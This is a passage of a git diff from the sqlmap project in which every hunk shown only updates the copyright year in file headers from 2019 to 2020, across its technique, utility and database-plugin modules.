--- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 783a2e952..f46fc54c1 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 30b58c94b..8e4d25c58 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bdec4e797..af05c946b 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index c654cbef7..a1e6b4789 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 468c09c03..649b9f602 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index b1589dafe..ed2c2b661 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index f88e33bef..574916eca 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 3df3e11e0..1b184f1d0 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 84e099e5d..25b899f9b 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index a065a9b01..0dabb2b36 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 32afff4e2..0779d6ca7 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index a0f964976..dc8c503e7 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index da5fd9935..0e6ef9325 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 27774ad3f..254621102 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index cc509c3db..76ad2cf06 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 72d99a555..d722fc67c 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index b8e7d1482..50a6d5093 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 5ade9c0be..8c239b7df 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index a7af101b7..4a8d1d705 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index a08f1f2c3..27c716705 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 57eecb0e0..0e0ebeaa0 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index a8b3d69a1..6d51e12be 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index c654cbef7..a1e6b4789 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index c654cbef7..a1e6b4789 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index f204b0a09..28d260eec 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 1bf363aa4..7dec85d67 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 540aec0f5..cc691205b 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 05b6a01e0..ddc220d9a 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index c604a22b9..967d1d3e1 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index fb64ecc3a..21881cd15 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index a7e67b73a..e134d0dab 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index e37cc3913..e6f0dfa58 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index ab162ff55..2120618ca 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 4f29cfb64..ab42b0a7e 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 76c3c44e7..e8c642492 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 891510906..4bb198d0e 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 669d5ca85..f9355c077 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index ca204b034..432fa6f78 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 85b46a55d..121a2a414 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 10305f68e..edd0ae750 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 4281f8bb6..248f3dc12 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 888da8433..41640ab15 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 79ca5e352..ab27b003e 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index dc903b0f1..ace022dcc 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 2adb716b5..8dc3fc729 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index 334b53df6..659645506 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 630d4e2e6..9715ab48a 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index fc35f28a6..0d26d2b7f 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 2bfb05ea0..aa1a9951b 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 35cbbb688..56f89ce03 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index be1bb443d..fb6bbe94b 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 075123723..ea2781173 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 166c121da..7d06406ca 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 2f8ae08aa..5aa9b2d57 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 6c0fd662f..e9aa4c40b 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index a5dd2990c..162c8e0a5 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index a14644b1b..6641acd21 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index be1bb443d..fb6bbe94b 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 5c7d2199d..9db7a6f66 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 50e2adee4..d0177dd71 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 133dc21ba..03bc7dc47 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 5b44899c6..05584dba1 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 76c3c44e7..e8c642492 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a3adbaf8b..bd1ea19d4 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index b6a39f605..fc4f98522 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index ca204b034..432fa6f78 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 6bd694025..1cc74e599 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 8b06d639e..94a40ae78 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index bece7afeb..36d626033 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py 